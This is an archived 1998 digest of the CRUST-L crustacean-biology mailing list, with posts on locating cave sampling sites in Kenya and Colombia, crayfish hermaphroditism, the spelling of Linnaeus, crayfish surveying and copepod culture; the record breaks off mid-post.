Morgan's Cave & b) Cueva Elefanta Blanco, Isla San Andres This is all information I have about the locations. In my International Atlas (Rand McNally) I could not find THIS "Isla San Andres": where is this Island ? Morgan's Cave and the Cueva Elefanta Blanco are on this Island (?) [by the way, is this right, the name is: the "cave of the white elephant"??? ] What is the location of the "Shimoni Caves" ? I just want to complete a table with "material" with more details, i.e. names of the countries. So I would be very grateful if you could give me some hints. Best regards Wulf *********************************************************** Wulf Kobusch Ruhr Universitaet Bochum Lehrstuhl fuer Spezielle Zoologie Gebaeude ND 05 / 776 Universitaetsstrasse 150 44801 Bochum GERMANY phone: +49/(0)234-700-5577 or -4563 fax: +49/(0)234-7094-114 e-mail: wulf.c.kobusch@ruhr-uni-bochum.de *********************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Lucho ChG" Date: Fri, 27 Mar 1998 19:38:39 EST Subject: CRUST-L: Re: Speleologists, cave locations & white elephant (?) Wulf asked: I have some cave crustaceans here from the following locations: 1) Shimoni Caves 2.a) Morgan's Cave & b) Cueva Elefanta Blanco, Isla San Andres This is all information I have about the locations. Re.-- If my geography doesn't play tricks because Andres is a very common toponymical spanish name... I think it should be the Caribbean Colombian island offshore Nicaragua... a well known low budget stopover for birds and humans on their way to South America then you asked: "Isla San Andres": where is this Island ? Morgan's Cave and the Cueva Elefanta Blanco are on this Island (?) [by the way, is this right, the name is: the "cave of the white elephant"??? ] Re.-- now I know is that island for sure. nowmabout the questions.. If your spelling is right, which I doubt... is "the cave of the white female elephant". la cueva de Morgan is an underwater cave located on the western side of the island south of town. salu2, Lucho> ********************************************************************** Luis Chirino-Galvez Phone (330) 672-2041 Department of Geology Fax (330) 672-7949 Kent State University E-mail Lchirino@geology.kent.edu Kent, OH 44242 lchirino@kentvm.kent.edu ********************************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Fri, 27 Mar 1998 20:40:04 -0600 Subject: CRUST-L: cave crusts Wulf, Oxford Atlas of the World, 2nd Edition, pg 148 coordinate D-3: I. de San Andres (Colombia) In the Caribbean, off the Nicaraguan coast. I can actually get to this book, wow. The question is, how many I. de San Andres are there in the world? Does this location make any sense? No Shimoni Caves listed, but there is a town of Shimoni shown in Kenya-on the coast, just north of the border with Tanzania. Again, no clue if this has any relation to your Shimoni. Phil Not a speleologist, but frequently in the dark. > >May be that some speleologists among you can help me with the >following peculiar problem: > >I have some cave crustaceans here from the following >locations: >1) Shimoni Caves >2.a) Morgan's Cave & b) Cueva Elefanta Blanco, Isla San Andres >This is all information I have about the locations. >In my International Atlas (Rand McNally) I could not find THIS >"Isla San Andres": where is this Island ? Morgan's Cave and the Cueva >Elefanta Blanco are on this Island (?) [by the way, is this right, >the name is: the "cave of the white elephant"??? ] >What is the location of the "Shimoni Caves" ? >I just want to complete a table with "material" with more details, >i.e. names of the countries. So I would be very grateful if you could >give me some hints. > >Best regards > >Wulf > >*********************************************************** >Wulf Kobusch >Ruhr Universitaet Bochum >Lehrstuhl fuer Spezielle Zoologie >Gebaeude ND 05 / 776 >Universitaetsstrasse 150 >44801 Bochum >GERMANY > >phone: +49/(0)234-700-5577 or -4563 >fax: +49/(0)234-7094-114 >e-mail: wulf.c.kobusch@ruhr-uni-bochum.de > >*********************************************************** > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Sat, 28 Mar 1998 08:16:52 -0500 (EST) Subject: CRUST-L: author query for biosci text ancillary (fwd) Please respond to Valerie Lipow directly. Thanks, Jeff - ---------- Forwarded message ---------- Date: Fri, 27 Mar 1998 17:50:51 EST From: Val Lipow Subject: author query for biosci text ancillary Hello, I obtained your email address from a biosci listserv master list on the WWW. Please forgive any unwelcome intrusion. My name is Valerie Lipow. I am a freelance writer and career counselor in Colorado (USA). I am researching the interest in the community of science educators for ancillary materials for introductory high school and college level textbooks in the biological sciences. I have been asked to do this for a textbook publisher in the US. In particular, I am interested in answers to questions below. I wonder if you would be willing to post these questions (either abstracted, or by forwarding this message to your biosci discussion lists) to your colleagues. What type of ancillaries (i.e., what content) would biosci educators like to see available with the texts they use in their classes? For example, an ancillary product describing career opportunities for students of biological sciences is one topic; are there others? What course(s) would the ancillary be used to support? If you would like to see articles I have written on the topic of career information for students of biological sciences, please feel free to visit these web sites: http://www.mhhe.com/biosci/pae/zoology/featarticle/immuno.mhtml http://www.mhhe.com/biosci/pae/zoology/featarticle/animalbehave.mhtml If you feel it is appropriate to pass this request on to your colleagues, please encourage them to contact me off-list. I'm happy to discuss this work with anyone who is interested in additional information. Thanks for reading this unsolicited message. If there are other associations or organizations I could approach to explore this idea, please let me know! Regards, Valerie A. Lipow, M.S. Freelance Writer Nationally Certified Career Counselor 597 Creekside Ct. Grand Junction, CO 81503-1067 VOICE: (970) 242-4413 FAX: (970) 256-9296 ValLipow@aol.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Isam Date: Sun, 29 Mar 1998 11:21:23 +0300 Subject: CRUST-L: Hermaphrodite discussion (FW shrimps) The discussion about hermaphroditism is very interesting to me. We have = published an article in the 1998 McGRAW-HILL yearbook of Scince and = Technology in which we have described a case of nonfunctional = hermaphroditism in the crayfish Cherax quadricarinatus. Medley and = Rouse 1993 have described cases in this crayfish with both male and = female openings. internally some of this intersex individuals have an = ovary and testis. We have found that this is nonfunctional = hermaphroditism, function as male but never as females. Differently, = Rudolph 1995 have published a paper which describe a case of true- = hermaphroditism in the crayfish Parastacus nicoleti=20 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Curt Fiedler Date: Sat, 28 Mar 1998 23:01:50 -1000 Subject: Re: CRUST-L: Hermaphrodite discussion (FW shrimps) Unfortunately, most of your post didn't come through. Can you post it in a different format? Thanks, Curt On Sat, 28 Mar 1998, Isam wrote: > The discussion about hermaphroditism is very interesting to me. We have published an article in the 1998 McGRAW-HILL yearbook of Scince and Technology in which we have described a case of nonfunctional hermaphroditism in the crayfish Cherax quadricarinatus. Medley and Rouse 1993 have described cases in this crayfish with both male and female openings. internally some of this intersex individuals have an ovary and testis. We have found that this is nonfunctional hermaphroditism, function as male but G. Curt Fiedler Zoology Department & Hawaii Institute of Marine Biology University of Hawaii at Manoa 2538 The Mall, Edmondson hall Honolulu, Hawaii 96822 Phone: (808)956-4712 Fax: (808)956-9812 http://www2.hawaii.edu/~zoology/graduate/CurtPage.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Wulf Kobusch" Date: Mon, 30 Mar 1998 09:59:42 +0000 Subject: CRUST-L: cave locations Dear CRUSTLers, thanks to all of you who gave helpful hints, finding the Shimoni Caves and Isla San Andres (with Morgans Cave and the Cueva Elefanto Blanco). Now I know the locations and - thanks to the internet - I can also see some pictures. Consequently, next time I actually have to refuse the sending of material and insist of visiting these islands myself. You will agree if you have a look at some links: 1) Shimoni Caves: Nzombo Hills, Chala Paradise Island, Kenya http://www.safariweb.com/technical.study.tours/advent.htm#shimoni 2.a) Morgan's Cave; Isla San Andres, Caribbean Sea, Colombia, (it belongs to Colombia, although it is aprox. 81,5 =B0 W and 12,5 =B0 N about 150 Km east of the coast of Nicaragua) http://www.iep.com/sanandres-history.html & b) Cueva Elefanta Blanco, Isla San Andres http://www.iep.com/san3san.html#Descripsan http://www.solmelia.es/cgi-bin/dirdinamic/hotelhtml?45867 http://www.solmelia.es/cgi-bin/frame/frame?http://colombiaemb.org/tourist/= sa na.html Thanks again and best wishes to all of you Wulf *********************************************************** Wulf Kobusch Ruhr Universitaet Bochum Lehrstuhl fuer Spezielle Zoologie Gebaeude ND 05 / 776 Universitaetsstrasse 150 44801 Bochum GERMANY phone: +49/(0)234-700-5577 or -4563 fax: +49/(0)234-7094-114 e-mail: wulf.c.kobusch@ruhr-uni-bochum.de *********************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Murat Ozbek" Date: Mon, 30 Mar 1998 10:37:04 +2 TUR Subject: CRUST-L: Blind Amphipods Dear Crust'lers, Could anybody gime me the names of papers related with Blind Amphipods living in European inland waters(in caves and the others). Thanks for your helps! Greetings from Turkiye :-) Murat OZBEK Research Assistant Ege University Fishery Faculty Hydrobiology Section 35100- Bornova- IZMIR- TURKIYE =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #129 ***************************** From owner-crust-l Tue Mar 31 08:05:42 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id HAA20456 for crust-l-digest-outgoing; Tue, 31 Mar 1998 07:46:07 -0500 Date: Tue, 31 Mar 1998 07:46:07 -0500 Message-Id: <199803311246.HAA20456@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #130 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 4 crust-l-digest Tuesday, 31 March 1998 Volume 01 : Number 130 CRUST-L: Re: Speleologists, cave locations & white elephant (?) CRUST-L: [Fwd: crayfish survey] CRUST-L: Re: Linnaeus Re: CRUST-L: Hermaphrodite discussion (FW shrimps) CRUST-L: reference by Stella CRUST-L: algal species for culturing freshwater copepods Re: CRUST-L: Hermaphrodite discussion (FW shrimps) CRUST-L: The Shape of Life CRUST-L: Light Microscopy. CRUST-L: Re: Hermaphroditism in parastacid crayfish Re: CRUST-L: Re: Hermaphroditism in parastacid crayfish Re: CRUST-L: Hermaphrodite discussion (FW shrimps) ---------------------------------------------------------------------- From: Grupo de Cultivo de Bivalvos Date: Mon, 30 Mar 1998 08:07:12 -0500 Subject: CRUST-L: Re: Speleologists, cave locations & white elephant (?) Well... Isla de San Andr=E9s (Archip=E9lago de San Andr=E9s y Providencia= , Colombia) exists near Nicaraguan coast as it was all ready said, and there's a "Morgan Cave" (Cueva del Pirata Morgan) at this site. I don't know any "Cueva del Elefante Blanco" ("Cave of theWhite Elephant" is right, Wulf) at this island, but of course, there must be lots of other "Isla de San Andr=E9s" around the world, since spanish conquerors loved t= o use names of saints when naming places they "discovered". Best regards, Alonso ___________________________________________ Grupo de Cultivo de Bivalvos Instituto de Investigaciones Marinas y Costeras, Invemar A.A. 1016 Santa Marta, Colombia Tels: (+57-54) 211 380 - 214 474 - 214 775 (ext. 129) Fax: (+57-54) 211 377 Correo-e: bivalvos@santamarta.cetcol.net.co Wulf Kobusch escribi=F3: > Hello CRUSTLers, > > May be that some speleologists among you can help me with the > following peculiar problem: > > I have some cave crustaceans here from the following > locations: > 1) Shimoni Caves > 2.a) Morgan's Cave & b) Cueva Elefanta Blanco, Isla San Andres > This is all information I have about the locations. > In my International Atlas (Rand McNally) I could not find THIS > "Isla San Andres": where is this Island ? Morgan's Cave and the Cueva > Elefanta Blanco are on this Island (?) [by the way, is this right, > the name is: the "cave of the white elephant"??? ] > What is the location of the "Shimoni Caves" ? > I just want to complete a table with "material" with more details, > i.e. names of the countries. So I would be very grateful if you could > give me some hints. > > Best regards > > Wulf > > *********************************************************** > Wulf Kobusch > Ruhr Universitaet Bochum > Lehrstuhl fuer Spezielle Zoologie > Gebaeude ND 05 / 776 > Universitaetsstrasse 150 > 44801 Bochum > GERMANY > > phone: +49/(0)234-700-5577 or -4563 > fax: +49/(0)234-7094-114 > e-mail: wulf.c.kobusch@ruhr-uni-bochum.de > > *********************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: cquero@redestb.es Date: Wed, 30 Mar 1994 14:27:14 +0100 Subject: CRUST-L: [Fwd: crayfish survey] Message-ID: <2D941CD5.1317@redestb.es> Date: Sat, 26 Mar 1994 12:30:29 +0100 From: cquero@redestb.es Reply-To: cquero@redestb.es X-Mailer: Mozilla 3.0 (Win16; I) MIME-Version: 1.0 To: Crust-l@vims.edu Subject: crayfish survey Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Hi there co-listers, I´m hoping to do some surveying for freshwater crayfish in some streams near Barcelona in Spain. The chances are that, if present, the populations are likely to be at rather low densities. Can anyone please advise me on the best way of surveying (on a presence/absence basis) in such situations in order to assess their distribution. So far the most likely option seems to be simply looking under stones etc. but I'm not familiar with working with this group of animals. The following information might help in the election of a method: 1) The aim is to locate the native species Austrapotamobius pallipes but it's possible that other non-native species such as Procambarus clarkii may also be present. 2) The area is quite mountainous(under 1000m and generally calcareous conglomerate) characterized by small streams prone to summer droughts which often leaves the streams as a broken series of isolated pools up to 1m deep. 3) The water level is generally low but can increase dramatically during heavy rains which can ocasionally produce catastrophic floods, the last such episode was in the autumn of 1994. Any advice, or lit. refs. on the matter will be most welcome. Thanks in advance, Seán Cahill, cquero@redestb.es =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Zen Faulkes" Date: Mon, 30 Mar 1998 09:14:32 EST Subject: CRUST-L: Re: Linnaeus Hello, From: P.J.F. Davie > I was recently told that Linne (with e acute) was the > real spelling for Linnaeus. His students latinised his name in > recognition of his authority, but as this is neither necessary nor > consistent with other authors' names today, then Linne should be used > in preference. Is this right? I must admit to never really having > questioned it too closely before. Is there a consensus? There was a discussion of this recently on sci.bio.systematics. I believe it was something like this: Yes, Linne was his real name, but even he Latinised it to Linnaeus. His own publications all say, "Linnaeus," I think. As he clearly *chose* to publish under a Latinised name for scholarly work (*), and given the retreival problems when you list a reference using a "corrected" name that doesn't appear in the original publications, I think we'd best stick to using Linnaeus. I'm not even going to touch a concurrent debate that went on in the newsgroup at the time: whether or not there should be a ligature joining the "ae" in his name. (*) I know I get mighty peeved when people "fix" my name by using my first given name, rather than my preferred middle given name (Zen). Zen Faulkes! http://www.mcgill.ca/Biology/perspage/zfaulkes.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Keith Crandall Date: Mon, 30 Mar 1998 09:24:07 -0700 Subject: Re: CRUST-L: Hermaphrodite discussion (FW shrimps) >We have published an article in the 1998 McGRAW-HILL yearbook of Scince and >Technology in which we have described a case of nonfunctional hermaphroditism >in the crayfish Cherax quadricarinatus. Medley and Rouse 1993 have >described >cases in this crayfish with both male and female openings. Indeed, the crayfish literature is full of references to hermaphroditism in many species. Here are a few. For a complete listing through 1988, search the Smithsonian Crayfish Bibliography with the keyword hermaphroditism at: gopher://nmnhgoph.si.edu/77/.index/crayfish Hay, W. P. 1905. Instances of hermaphroditism in crayfishes. Smithsonian Miscellaneous Collections 48: 222-228. Mason, J. C. 1965. Female Pacifastacus (Astacidae) with a male secondary sex characteristic. The American Midland Naturalist 73: 501. Penn, G. H. 1957. Aberrant secondary sex characters in the crawfishes Cambarellus shufeldtii (Faxon) and Procambarus dupratzi Penn. Transactions of the American Microscopical Society 76: 93-95. Turner, C. L. 1935. The aberrant secondary sex characters of the crayfishes of the genus Cambarus. The American Midland Naturalist 16: 863-882. Cheers, Keith ========================= Dr. Keith A. Crandall 574 Widtsoe Building Department of Zoology Brigham Young University Provo, UT 84602-5255 phone: (801) 378-3495 FAX: (801) 378-7423 keith_crandall@byu.edu ========================= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "P. Castro" Date: Mon, 30 Mar 1998 11:28:03 -0800 (PST) Subject: CRUST-L: reference by Stella Dear friends/cari amici: I am searching for a reference from Italy: Stella, E. 1953. Crostacei decapodi e stomatopodi. Spedizione subacquea italiana nel Mare Rosso. Rivista Biologica Coloniale, vol. 13: 15-70. I only need to check out if species of Trapezia are mentioned in the article. Thank you very much/grazie tante, Peter/Pedro Castro **************************************** P. Castro, Ph.D. Biological Sciences Department California State Polytechnic University Pomona, CA 91768-4032, U.S.A. e-mail: pcastro@csupomona.edu http://www.csupomona.edu/biology/ Phone - voice mail: (909)869-4069 Fax: (909)869-4078 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Carol Eunmi Lee Date: Mon, 30 Mar 1998 13:43:51 -0800 (PST) Subject: CRUST-L: algal species for culturing freshwater copepods I have a question regarding culturing freshwater copepods. I have a population of Eurytemora affinis, which is primarily a brackish to hypersaline species, but has invaded fresh water. I am growing the freshwater populations and would like to feed them freshwater algae to avoid introducing salts to the culture. I have been feeding them Chlamydomonas reinhardii but their growth rates seem slower than when I feed them marine Rhodomonas sp. I would like suggestions on what freshwater algal species have been successfully used for culturing copepods. I would like to avoid diatoms, and would like something that the nauplii (100 microns) can also feed on. Thank you! Carol __________________________________________________________________________ Carol Eunmi Lee Marine Biology Research Division 0202 Scripps Institution of Oceanography University of California, San Diego La Jolla, CA 92093-0202 carolee@complex.ucsd.edu Lab: 619) 534-7827 Fax: 619) 534-7313 Home: 619) 459-4767 __________________________________________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Curt Fiedler Date: Mon, 30 Mar 1998 13:26:08 -1000 Subject: Re: CRUST-L: Hermaphrodite discussion (FW shrimps) Unfortunately, *most* examples of hermaphroditism in crayfish literature are rare and anomolous instances. The word "aberrant" was used in many of those paper titles. I'd like to look more at Parastracid (sp?) papers to see if the trend is the same. Physiologically, it is reasonable to see a change in crustacean sex from male to female. Charniaux-Cotton (CC) established that removal of androgenic glands (AG) from males usually results in feminization to some extent. This suggests that damage to the androgenic gland (be it from physical or parasite damage, or a developmental error) could result in feminization to some degree. I'm not sure that this exends to having 2 sets of gonoducts for normally gonochoristic animals. CC also concluded that the absence of the AG during development resulted in near complete feminization. So without the AG, the default developmental path is female. In protandrous species (Lysmata seticaudata) CC concluded that the AG doesn't develop until some germ tissue is feminized. The AG later appears and arrests oogenesis (in previt, I think), masculinizing the rest of the gonad. When these animals change sex, the AG deteriorates and supposedly disappears. Inhibition of vitellogenesis ends, and male function disappears. Since much of CC's work was on one shrimp and a gammarid, it would be interesting to verify these phenomena in other hermaphrodites. [For Lysmata amboinensis (first protandrous, then simultaneous) I don't find an AG in female-phase animals. So it is unclear how they maintain male function.] So hermaphrodite crayfish specimens having functional female (but not male) reproduction follows what CC expected, if you think aobut it. Just my humble ramblings, - -Curt On Mon, 30 Mar 1998, Keith Crandall wrote: > >We have published an article in the 1998 McGRAW-HILL yearbook of Scince and > >Technology in which we have described a case of nonfunctional hermaphroditism > >in the crayfish Cherax quadricarinatus. Medley and Rouse 1993 have > >described >cases in this crayfish with both male and female openings. > Indeed, the crayfish literature is full of references to hermaphroditism > in many species. Here are a few. For a complete listing through 1988, search > the Smithsonian Crayfish Bibliography with the keyword hermaphroditism at: > gopher://nmnhgoph.si.edu/77/.index/crayfish > > Hay, W. P. 1905. Instances of hermaphroditism in crayfishes. Smithsonian > > Miscellaneous Collections 48: 222-228. > Mason, J. C. 1965. Female Pacifastacus (Astacidae) with a male secondary sex > characteristic. The American Midland Naturalist 73: 501. > Penn, G. H. 1957. Aberrant secondary sex characters in the crawfishes > Cambarellus shufeldtii (Faxon) and Procambarus dupratzi Penn. > Transactions of the American Microscopical Society 76: 93-95. > Turner, C. L. 1935. The aberrant secondary sex characters of the crayfishes of > the genus Cambarus. The American Midland Naturalist 16: 863-882. > > Cheers, > > Keith > > > ========================= > Dr. Keith A. Crandall > 574 Widtsoe Building > Department of Zoology > Brigham Young University > Provo, UT 84602-5255 > phone: (801) 378-3495 > FAX: (801) 378-7423 > keith_crandall@byu.edu > ========================= > > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > G. Curt Fiedler Zoology Department & Hawaii Institute of Marine Biology University of Hawaii at Manoa 2538 The Mall, Edmondson hall Honolulu, Hawaii 96822 Phone: (808)956-4712 Fax: (808)956-9812 http://www2.hawaii.edu/~zoology/graduate/CurtPage.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Anna Fitch Date: Mon, 30 Mar 1998 17:17:29 -0800 Subject: CRUST-L: The Shape of Life TimesHello Crust-L people, I am a researcher for a documentary series on invertebrates called the Shape of Life. Some of you may remember Pat Iampietro who also works with us but is no longer on Arthropod duty. Pat has given me the great story leads he received on this list. I wanted to post this update on the progress of the project and see if there is any new news people wanted to share. Here is a quick review of the Shape of Life Project. Sea Studios Foundation is working in cooperation with National Geographic television to create an eight hour series for public television called The Shape of Life. The series features each major animal phylum in a hour long exploration of the group. The themes of the program are form and function, evolution, biomechanics, and body plans. The series will use lots of high quality footage, on camera scientists and animation to teach biology in an engaging way. At this point we are still writing and will be going into production in late summer. Research will continue throughout production. I would appreciate any input regarding recent or ongoing research, interesting critters w/ neat & important adaptations, story ideas, individual researchers/contacts, etc. If you, or someone you know, has an interesting crustacean story to tell let us know! Please drop by our website if you'd like to find out more about Sea Studios and the Shape of Life: http://www.seastudios.com Thank you for your time & I look forward to hearing from you! Anna P.S. Please respond directly to my email address: annafitch@seastudios.com Anna Fitch Sea Studios 810 Cannery Row Monterey, CA 93940 Tel: 408 649-5152 ext.105 Fax: 408 649-1380 email: annafitch@seastudios.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Stephen G. Dunbar" Date: Tue, 31 Mar 1998 12:25:14 Subject: CRUST-L: Light Microscopy. Hi Crust-Lers, I'm working on physiological changes in crabs due to various stresses (Temp./ Salinity) induced in the lab. I am wanting to 